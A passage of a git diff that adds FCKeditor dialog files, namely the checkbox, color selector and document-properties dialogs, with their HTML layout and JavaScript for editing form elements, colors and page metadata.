+                                                       <span fcklang="DlgButtonText">Text (Value)</span><br />
+                                                       <input type="text" id="txtValue" style="width: 100%" />
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td>
+                                                       <span fcklang="DlgButtonType">Type</span><br />
+                                                       <select id="txtType">
+                                                               <option fcklang="DlgButtonTypeBtn" value="button" selected="selected">Button</option>
+                                                               <option fcklang="DlgButtonTypeSbm" value="submit">Submit</option>
+                                                               <option fcklang="DlgButtonTypeRst" value="reset">Reset</option>
+                                                       </select>
+                                               </td>
+                                       </tr>
+                               </table>
+                       </td>
+               </tr>
+       </table>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_checkbox.html b/fckeditor/editor/dialog/fck_checkbox.html
new file mode 100755 (executable)
index 0000000..15f0433
--- /dev/null
@@ -0,0 +1,111 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_checkbox.html
+ *     Checkbox dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html>
+       <head>
+               <title>Checkbox Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+               <meta content="noindex, nofollow" name="robots">
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if ( oActiveEl && oActiveEl.tagName == 'INPUT' && oActiveEl.type == 'checkbox' )
+       {
+               GetE('txtName').value           = oActiveEl.name ;
+               GetE('txtValue').value          = oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+               GetE('txtSelected').checked     = oActiveEl.checked ;
+       }
+       else
+               oActiveEl = null ;
+
+       window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+       if ( !oActiveEl )
+       {
+               oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+               oActiveEl.type = 'checkbox' ;
+               oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+       }
+
+       if ( GetE('txtName').value.length > 0 )
+               oActiveEl.name = GetE('txtName').value ;
+               
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               oActiveEl.value = GetE('txtValue').value ;
+       else
+               SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+       var bIsChecked = GetE('txtSelected').checked ;
+       SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;   // For Firefox
+       oActiveEl.checked = bIsChecked ;
+
+       return true ;
+}
+
+               </script>
+       </head>
+       <body style="OVERFLOW: hidden" scroll="no">
+               <table height="100%" width="100%">
+                       <tr>
+                               <td align="center">
+                                       <table border="0" cellpadding="0" cellspacing="0" width="80%">
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxName">Name</span><br>
+                                                               <input type="text" size="20" id="txtName" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                               <span fckLang="DlgCheckboxValue">Value</span><br>
+                                                               <input type="text" size="20" id="txtValue" style="WIDTH: 100%">
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_colorselector.html b/fckeditor/editor/dialog/fck_colorselector.html
new file mode 100755 (executable)
index 0000000..f17ee94
--- /dev/null
@@ -0,0 +1,175 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_colorselector.html
+ *     Color Selection dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+       <head>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <style TYPE="text/css">
+                       #ColorTable             { cursor: pointer ; cursor: hand ; }
+                       #hicolor                { height: 74px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+                       #hicolortext    { width: 75px ; text-align: right ; margin-bottom: 7px ; }
+                       #selhicolor             { height: 20px ; width: 74px ; border-width: 1px ; border-style: solid ; }
+                       #selcolor               { width: 75px ; height: 20px ; margin-top: 0px ; margin-bottom: 7px ; }
+                       #btnClear               { width: 75px ; height: 22px ; margin-bottom: 6px ; }
+                       .ColorCell              { height: 15px ; width: 15px ; }
+               </style>
+               <script type="text/javascript">
+               
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+       
+       CreateColorTable() ;
+       
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;
+}
+
+function CreateColorTable()
+{
+       // Get the target table.
+       var oTable = document.getElementById('ColorTable') ;
+
+       // Create the base colors array.
+       var aColors = ['00','33','66','99','cc','ff'] ;
+
+       // This function combines two ranges of three values from the color array into a row.
+       function AppendColorRow( rangeA, rangeB )
+       {
+               for ( var i = rangeA ; i < rangeA + 3 ; i++ ) 
+               { 
+                       var oRow = oTable.insertRow(-1) ; 
+
+                       for ( var j = rangeB ; j < rangeB + 3 ; j++ ) 
+                       { 
+                               for ( var n = 0 ; n < 6 ; n++ ) 
+                               { 
+                                       AppendColorCell( oRow, '#' + aColors[j] + aColors[n] + aColors[i] ) ; 
+                               } 
+                       } 
+               }
+       }
+
+       // This function create a single color cell in the color table.
+       function AppendColorCell( targetRow, color )
+       {
+               var oCell = targetRow.insertCell(-1) ;
+               oCell.className = 'ColorCell' ;
+               oCell.bgColor = color ;
+               
+               oCell.onmouseover = function()
+               {
+                       document.getElementById('hicolor').style.backgroundColor = this.bgColor ;
+                       document.getElementById('hicolortext').innerHTML = this.bgColor ;
+               }
+               
+               oCell.onclick = function()
+               {
+                       document.getElementById('selhicolor').style.backgroundColor = this.bgColor ;
+                       document.getElementById('selcolor').value = this.bgColor ;
+               }
+       }
+
+       AppendColorRow( 0, 0 ) ;
+       AppendColorRow( 3, 0 ) ;
+       AppendColorRow( 0, 3 ) ;
+       AppendColorRow( 3, 3 ) ;
+
+       // Create the last row.
+       var oRow = oTable.insertRow(-1) ;
+       
+       // Create the gray scale colors cells.
+       for ( var n = 0 ; n < 6 ; n++ )
+       {
+               AppendColorCell( oRow, '#' + aColors[n] + aColors[n] + aColors[n] ) ; 
+       }
+       
+       // Fill the row with black cells.
+       for ( var i = 0 ; i < 12 ; i++ )
+       {
+               AppendColorCell( oRow, '#000000' ) ; 
+       }
+}
+
+function Clear()
+{
+       document.getElementById('selhicolor').style.backgroundColor = '' ;
+       document.getElementById('selcolor').value = '' ;
+}
+
+function ClearActual()
+{
+       document.getElementById('hicolor').style.backgroundColor = '' ;
+       document.getElementById('hicolortext').innerHTML = '&nbsp;' ;
+}
+
+function UpdateColor()
+{
+       try               { document.getElementById('selhicolor').style.backgroundColor = document.getElementById('selcolor').value ; }
+       catch (e) { Clear() ; }
+}
+
+function Ok()
+{
+       if ( typeof(window.parent.dialogArguments.CustomValue) == 'function' )
+               window.parent.dialogArguments.CustomValue( document.getElementById('selcolor').value ) ;
+
+       return true ;
+}
+               </script>
+       </head>
+       <body onload="OnLoad()" scroll="no" style="OVERFLOW: hidden">
+               <table cellpadding="0" cellspacing="0" border="0" width="100%" height="100%">
+                       <tr>
+                               <td align="center" valign="middle">
+                                       <table border="0" cellspacing="5" cellpadding="0" width="100%">
+                                               <tr>
+                                                       <td valign="top" align="center" nowrap width="100%">
+                                                               <table id="ColorTable" border="0" cellspacing="0" cellpadding="0" width="270" onmouseout="ClearActual();">
+                                                               </table>
+                                                       </td>
+                                                       <td valign="top" align="left" nowrap>
+                                                               <span fckLang="DlgColorHighlight">Highlight</span>
+                                                               <div id="hicolor"></div>
+                                                               <div id="hicolortext">&nbsp;</div>
+                                                               <span fckLang="DlgColorSelected">Selected</span>
+                                                               <div id="selhicolor"></div>
+                                                               <input id="selcolor" type="text" maxlength="20" onchange="UpdateColor();">
+                                                               <br>
+                                                               <input id="btnClear" type="button" fckLang="DlgColorBtnClear" value="Clear" onclick="Clear();" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </td>
+                       </tr>
+               </table>
+       </body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_docprops.html b/fckeditor/editor/dialog/fck_docprops.html
new file mode 100755 (executable)
index 0000000..6f4b68e
--- /dev/null
@@ -0,0 +1,604 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_docprops.html
+ *     Link dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta content="noindex, nofollow" name="robots" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'General'                , FCKLang.DlgDocGeneralTab ) ;
+window.parent.AddTab( 'Background'     , FCKLang.DlgDocBackTab ) ;
+window.parent.AddTab( 'Colors'         , FCKLang.DlgDocColorsTab ) ;
+window.parent.AddTab( 'Meta'           , FCKLang.DlgDocMetaTab ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE( 'divGeneral'             , ( tabCode == 'General' ) ) ;
+       ShowE( 'divBackground'  , ( tabCode == 'Background' ) ) ;
+       ShowE( 'divColors'              , ( tabCode == 'Colors' ) ) ;
+       ShowE( 'divMeta'                , ( tabCode == 'Meta' ) ) ;
+
+       ShowE( 'ePreview'               , ( tabCode == 'Background' || tabCode == 'Colors' ) ) ;
+}
+
+//#### Get Base elements from the document: BEGIN
+
+// The HTML element of the document.
+var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+// The HEAD element of the document.
+var oHead = oHTML.getElementsByTagName('head')[0] ;
+
+var oBody = FCK.EditorDocument.body ;
+
+// This object contains all META tags defined in the document.
+var oMetaTags = new Object() ;
+
+// Get all META tags defined in the document.
+AppendMetaCollection( oMetaTags, oHead.getElementsByTagName('meta') ) ;
+AppendMetaCollection( oMetaTags, oHead.getElementsByTagName('fck:meta') ) ;
+
+function AppendMetaCollection( targetObject, metaCollection )
+{
+       // Loop throw all METAs and put it in the HashTable.
+       for ( var i = 0 ; i < metaCollection.length ; i++ )
+       {
+               // Try to get the "name" attribute.
+               var sName = GetAttribute( metaCollection[i], 'name', GetAttribute( metaCollection[i], '___fcktoreplace:name', '' ) ) ;
+
+               // If no "name", try with the "http-equiv" attribute.
+               if ( sName.length == 0 )
+               {
+                       if ( oEditor.FCKBrowserInfo.IsIE )
+                       {
+                               // Get the http-equiv value from the outerHTML.
+                               var oHttpEquivMatch = metaCollection[i].outerHTML.match( oEditor.FCKRegexLib.MetaHttpEquiv ) ;
+                               if ( oHttpEquivMatch )
+                                       sName = oHttpEquivMatch[1] ;
+                       }
+                       else
+                               sName = GetAttribute( metaCollection[i], 'http-equiv', '' ) ;
+               }
+
+               if ( sName.length > 0 )
+                       targetObject[ sName.toLowerCase() ] = metaCollection[i] ;
+       }
+}
+
+//#### END
+
+// Set a META tag in the document.
+function SetMetadata( name, content, isHttp )
+{
+       if ( content.length == 0 )
+       {
+               RemoveMetadata( name ) ;
+               return ;
+       }
+
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( !oMeta )
+       {
+               oMeta = oHead.appendChild( FCK.EditorDocument.createElement('META') ) ;
+
+               if ( isHttp )
+                       SetAttribute( oMeta, 'http-equiv', name ) ;
+               else
+               {
+                       // On IE, it is not possible to set the "name" attribute of the META tag.
+                       // So a temporary attribute is used and it is replaced when getting the
+                       // editor's HTML/XHTML value. This is sad, I know :(
+                       if ( oEditor.FCKBrowserInfo.IsIE )
+                               SetAttribute( oMeta, '___fcktoreplace:name', name ) ;
+                       else
+                               SetAttribute( oMeta, 'name', name ) ;
+               }
+
+               oMetaTags[ name.toLowerCase() ] = oMeta ;
+       }
+
+       SetAttribute( oMeta, 'content', content ) ;
+//     oMeta.content = content ;
+}
+
+function RemoveMetadata( name )
+{
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( oMeta && oMeta != null )
+       {
+               oMeta.parentNode.removeChild( oMeta ) ;
+               oMetaTags[ name.toLowerCase() ] = null ;
+       }
+}
+
+function GetMetadata( name )
+{
+       var oMeta = oMetaTags[ name.toLowerCase() ] ;
+
+       if ( oMeta && oMeta != null )
+               return oMeta.getAttribute( 'content', 2 ) ;
+       else
+               return '' ;
+}
+
+window.onload = function ()
+{
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display = oEditor.FCKConfig.ImageBrowser ? "" : "none";
+
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+       FillFields() ;
+
+       UpdatePreview() ;
+
+       // Show the "Ok" button.
+       window.parent.SetOkButton( true ) ;
+
+       window.parent.SetAutoSize( true ) ;
+}
+
+function FillFields()
+{
+       // ### General Info
+       GetE('txtPageTitle').value = FCK.EditorDocument.title ;
+
+       GetE('selDirection').value      = GetAttribute( oHTML, 'dir', '' ) ;
+       GetE('txtLang').value           = GetAttribute( oHTML, 'xml:lang', GetAttribute( oHTML, 'lang', '' ) ) ;        // "xml:lang" takes precedence to "lang".
+
+       // Character Set Encoding.
+//     if ( oEditor.FCKBrowserInfo.IsIE )
+//             var sCharSet = FCK.EditorDocument.charset ;
+//     else
+               var sCharSet = GetMetadata( 'Content-Type' ) ;
+
+       if ( sCharSet != null && sCharSet.length > 0 )
+       {
+//             if ( !oEditor.FCKBrowserInfo.IsIE )
+                       sCharSet = sCharSet.match( /[^=]*$/ ) ;
+
+               GetE('selCharSet').value = sCharSet ;
+
+               if ( GetE('selCharSet').selectedIndex == -1 )
+               {
+                       GetE('selCharSet').value = '...' ;
+                       GetE('txtCustomCharSet').value = sCharSet ;
+
+                       CheckOther( GetE('selCharSet'), 'txtCustomCharSet' ) ;
+               }
+       }
+
+       // Document Type.
+       if ( FCK.DocTypeDeclaration && FCK.DocTypeDeclaration.length > 0 )
+       {
+               GetE('selDocType').value = FCK.DocTypeDeclaration ;
+
+               if ( GetE('selDocType').selectedIndex == -1 )
+               {
+                       GetE('selDocType').value = '...' ;
+                       GetE('txtDocType').value = FCK.DocTypeDeclaration ;
+
+                       CheckOther( GetE('selDocType'), 'txtDocType' ) ;
+               }
+       }
+
+       // Document Type.
+       GetE('chkIncXHTMLDecl').checked = ( FCK.XmlDeclaration && FCK.XmlDeclaration.length > 0 ) ;
+
+       // ### Background
+       GetE('txtBackColor').value = GetAttribute( oBody, 'bgColor'             , '' ) ;
+       GetE('txtBackImage').value = GetAttribute( oBody, 'background'  , '' ) ;
+       GetE('chkBackNoScroll').checked = ( GetAttribute( oBody, 'bgProperties', '' ).toLowerCase() == 'fixed' ) ;
+
+       // ### Colors
+       GetE('txtColorText').value              = GetAttribute( oBody, 'text'   , '' ) ;
+       GetE('txtColorLink').value              = GetAttribute( oBody, 'link'   , '' ) ;
+       GetE('txtColorVisited').value   = GetAttribute( oBody, 'vLink'  , '' ) ;
+       GetE('txtColorActive').value    = GetAttribute( oBody, 'aLink'  , '' ) ;
+
+       // ### Margins
+       GetE('txtMarginTop').value              = GetAttribute( oBody, 'topMargin'              , '' ) ;
+       GetE('txtMarginLeft').value             = GetAttribute( oBody, 'leftMargin'             , '' ) ;
+       GetE('txtMarginRight').value    = GetAttribute( oBody, 'rightMargin'    , '' ) ;
+       GetE('txtMarginBottom').value   = GetAttribute( oBody, 'bottomMargin'   , '' ) ;
+
+       // ### Meta Data
+       GetE('txtMetaKeywords').value           = GetMetadata( 'keywords' ) ;
+       GetE('txtMetaDescription').value        = GetMetadata( 'description' ) ;
+       GetE('txtMetaAuthor').value                     = GetMetadata( 'author' ) ;
+       GetE('txtMetaCopyright').value          = GetMetadata( 'copyright' ) ;
+}
+
+// Called when the "Ok" button is clicked.
+function Ok()
+{
+       // ### General Info
+       FCK.EditorDocument.title = GetE('txtPageTitle').value ;
+
+       var oHTML = FCK.EditorDocument.getElementsByTagName('html')[0] ;
+
+       SetAttribute( oHTML, 'dir'              , GetE('selDirection').value ) ;
+       SetAttribute( oHTML, 'lang'             , GetE('txtLang').value ) ;
+       SetAttribute( oHTML, 'xml:lang' , GetE('txtLang').value ) ;
+
+       // Character Set Enconding.
+       var sCharSet = GetE('selCharSet').value ;
+       if ( sCharSet == '...' )
+               sCharSet = GetE('txtCustomCharSet').value ;
+
+       if ( sCharSet.length > 0 )
+                       sCharSet = 'text/html; charset=' + sCharSet ;
+
+//     if ( oEditor.FCKBrowserInfo.IsIE )
+//             FCK.EditorDocument.charset = sCharSet ;
+//     else
+               SetMetadata( 'Content-Type', sCharSet, true ) ;
+
+       // Document Type
+       var sDocType = GetE('selDocType').value ;
+       if ( sDocType == '...' )
+               sDocType = GetE('txtDocType').value ;
+
+       FCK.DocTypeDeclaration = sDocType ;
+
+       // XHTML Declarations.
+       if ( GetE('chkIncXHTMLDecl').checked )
+       {
+               if ( sCharSet.length == 0 )
+                       sCharSet = 'utf-8' ;
+
+               FCK.XmlDeclaration = '<?xml version="1.0" encoding="' + sCharSet + '"?>' ;
+
+               SetAttribute( oHTML, 'xmlns', 'http://www.w3.org/1999/xhtml' ) ;
+       }
+       else
+       {
+               FCK.XmlDeclaration = null ;
+               oHTML.removeAttribute( 'xmlns', 0 ) ;
+       }
+
+       // ### Background
+       SetAttribute( oBody, 'bgcolor'          , GetE('txtBackColor').value ) ;
+       SetAttribute( oBody, 'background'       , GetE('txtBackImage').value ) ;
+       SetAttribute( oBody, 'bgproperties'     , GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+       // ### Colors
+       SetAttribute( oBody, 'text'     , GetE('txtColorText').value ) ;
+       SetAttribute( oBody, 'link'     , GetE('txtColorLink').value ) ;
+       SetAttribute( oBody, 'vlink', GetE('txtColorVisited').value ) ;
+       SetAttribute( oBody, 'alink', GetE('txtColorActive').value ) ;
+
+       // ### Margins
+       SetAttribute( oBody, 'topmargin'        , GetE('txtMarginTop').value ) ;
+       SetAttribute( oBody, 'leftmargin'       , GetE('txtMarginLeft').value ) ;
+       SetAttribute( oBody, 'rightmargin'      , GetE('txtMarginRight').value ) ;
+       SetAttribute( oBody, 'bottommargin'     , GetE('txtMarginBottom').value ) ;
+
+       // ### Meta data
+       SetMetadata( 'keywords'         , GetE('txtMetaKeywords').value ) ;
+       SetMetadata( 'description'      , GetE('txtMetaDescription').value ) ;
+       SetMetadata( 'author'           , GetE('txtMetaAuthor').value ) ;
+       SetMetadata( 'copyright'        , GetE('txtMetaCopyright').value ) ;
+
+       return true ;
+}
+
+var bPreviewIsLoaded = false ;
+var oPreviewWindow ;
+var oPreviewBody ;
+
+// Called by the Preview page when loaded.
+function OnPreviewLoad( previewWindow, previewBody )
+{
+       oPreviewWindow  = previewWindow ;
+       oPreviewBody    = previewBody ;
+
+       bPreviewIsLoaded = true ;
+       UpdatePreview() ;
+}
+
+function UpdatePreview()
+{
+       if ( !bPreviewIsLoaded )
+               return ;
+
+       // ### Background
+       SetAttribute( oPreviewBody, 'bgcolor'           , GetE('txtBackColor').value ) ;
+       SetAttribute( oPreviewBody, 'background'        , GetE('txtBackImage').value ) ;
+       SetAttribute( oPreviewBody, 'bgproperties'      , GetE('chkBackNoScroll').checked ? 'fixed' : '' ) ;
+
+       // ### Colors
+       SetAttribute( oPreviewBody, 'text', GetE('txtColorText').value ) ;
+
+       oPreviewWindow.SetLinkColor( GetE('txtColorLink').value ) ;
+       oPreviewWindow.SetVisitedColor( GetE('txtColorVisited').value ) ;
+       oPreviewWindow.SetActiveColor( GetE('txtColorActive').value ) ;
+}
+
+function CheckOther( combo, txtField )
+{
+       var bNotOther = ( combo.value != '...' ) ;
+
+       GetE(txtField).style.backgroundColor = ( bNotOther ? '#cccccc' : '' ) ;
+       GetE(txtField).disabled = bNotOther ;
+}
+
+function SetColor( inputId, color ) 
+{
+       GetE( inputId ).value = color + '' ; 
+       UpdatePreview() ;
+}
+
+function SelectBackColor( color )              { SetColor('txtBackColor', color ) ; }
+function SelectColorText( color )              { SetColor('txtColorText', color ) ; }
+function SelectColorLink( color )              { SetColor('txtColorLink', color ) ; }
+function SelectColorVisited( color )   { SetColor('txtColorVisited', color ) ; }
+function SelectColorActive( color )            { SetColor('txtColorActive', color ) ; }
+
+function SelectColor( wich )
+{
+       switch ( wich )
+       {
+               case 'Back'                     : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectBackColor, window ) ; return ;
+               case 'ColorText'        : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorText, window ) ; return ;
+               case 'ColorLink'        : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorLink, window ) ; return ;
+               case 'ColorVisited'     : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorVisited, window ) ; return ;
+               case 'ColorActive'      : oEditor.FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, SelectColorActive, window ) ; return ;
+       }
+}
+
+function BrowseServerBack()
+{
+       OpenFileBrowser( FCKConfig.ImageBrowserURL, FCKConfig.ImageBrowserWindowWidth, FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function SetUrl( url )
+{
+       GetE('txtBackImage').value = url ;
+       UpdatePreview() ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+               <tr>
+                       <td valign="top" style="height: 100%">
+                               <div id="divGeneral">
+                                       <span fcklang="DlgDocPageTitle">Page Title</span><br />
+                                       <input id="txtPageTitle" style="width: 100%" type="text" />
+                                       <br />
+                                       <table cellspacing="0" cellpadding="0" border="0">
+                                               <tr>
+                                                       <td>
+                                                               <span fcklang="DlgDocLangDir">Language Direction</span><br />
+                                                               <select id="selDirection">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value="ltr" fcklang="DlgDocLangDirLTR">Left to Right (LTR)</option>
+                                                                       <option value="rtl" fcklang="DlgDocLangDirRTL">Right to Left (RTL)</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td>
+                                                               <span fcklang="DlgDocLangCode">Language Code</span><br />
+                                                               <input id="txtLang" type="text" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br />
+                                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                               <tr>
+                                                       <td style="white-space: nowrap">
+                                                               <span fcklang="DlgDocCharSet">Character Set Encoding</span><br />
+                                                               <select id="selCharSet" onchange="CheckOther( this, 'txtCustomCharSet' );">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value="us-ascii">ASCII</option>
+                                                                       <option fcklang="DlgDocCharSetCE" value="iso-8859-2">Central European</option>
+                                                                       <option fcklang="DlgDocCharSetCT" value="big5">Chinese Traditional (Big5)</option>
+                                                                       <option fcklang="DlgDocCharSetCR" value="iso-8859-5">Cyrillic</option>
+                                                                       <option fcklang="DlgDocCharSetGR" value="iso-8859-7">Greek</option>
+                                                                       <option fcklang="DlgDocCharSetJP" value="iso-2022-jp">Japanese</option>
+                                                                       <option fcklang="DlgDocCharSetKR" value="iso-2022-kr">Korean</option>
+                                                                       <option fcklang="DlgDocCharSetTR" value="iso-8859-9">Turkish</option>
+                                                                       <option fcklang="DlgDocCharSetUN" value="utf-8">Unicode (UTF-8)</option>
+                                                                       <option fcklang="DlgDocCharSetWE" value="iso-8859-1">Western European</option>
+                                                                       <option fcklang="DlgOpOther" value="...">&lt;Other&gt;</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                               &nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgDocCharSetOther">Other Character Set Encoding</span><br />
+                                                               <input id="txtCustomCharSet" style="width: 100%; background-color: #cccccc" disabled="disabled"
+                                                                       type="text" />
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td colspan="3">
+                                                               &nbsp;</td>
+                                               </tr>
+                                               <tr>
+                                                       <td nowrap="nowrap">
+                                                               <span fcklang="DlgDocDocType">Document Type Heading</span><br />
+                                                               <select id="selDocType" name="selDocType" onchange="CheckOther( this, 'txtDocType' );">
+                                                                       <option value="" selected="selected"></option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">'>HTML
+                                                                               4.01 Transitional</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">'>
+                                                                               HTML 4.01 Strict</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">'>
+                                                                               HTML 4.01 Frameset</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'>
+                                                                               XHTML 1.0 Transitional</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'>
+                                                                               XHTML 1.0 Strict</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">'>
+                                                                               XHTML 1.0 Frameset</option>
+                                                                       <option value='<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">'>
+                                                                               XHTML 1.1</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">'>HTML 3.2</option>
+                                                                       <option value='<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">'>HTML 2.0</option>
+                                                                       <option value="..." fcklang="DlgOpOther">&lt;Other&gt;</option>
+                                                               </select>
+                                                       </td>
+                                                       <td>
+                                                       </td>
+                                                       <td width="100%">
+                                                               <span fcklang="DlgDocDocTypeOther">Other Document Type Heading</span><br />
+                                                               <input id="txtDocType" style="width: 100%; background-color: #cccccc" disabled="disabled"
+                                                                       type="text" />
+                                                       </td>
+                                               </tr>
+                                       </table>
+                                       <br />
+                                       <input id="chkIncXHTMLDecl" type="checkbox" />
+                                       <label for="chkIncXHTMLDecl" fcklang="DlgDocIncXHTML">
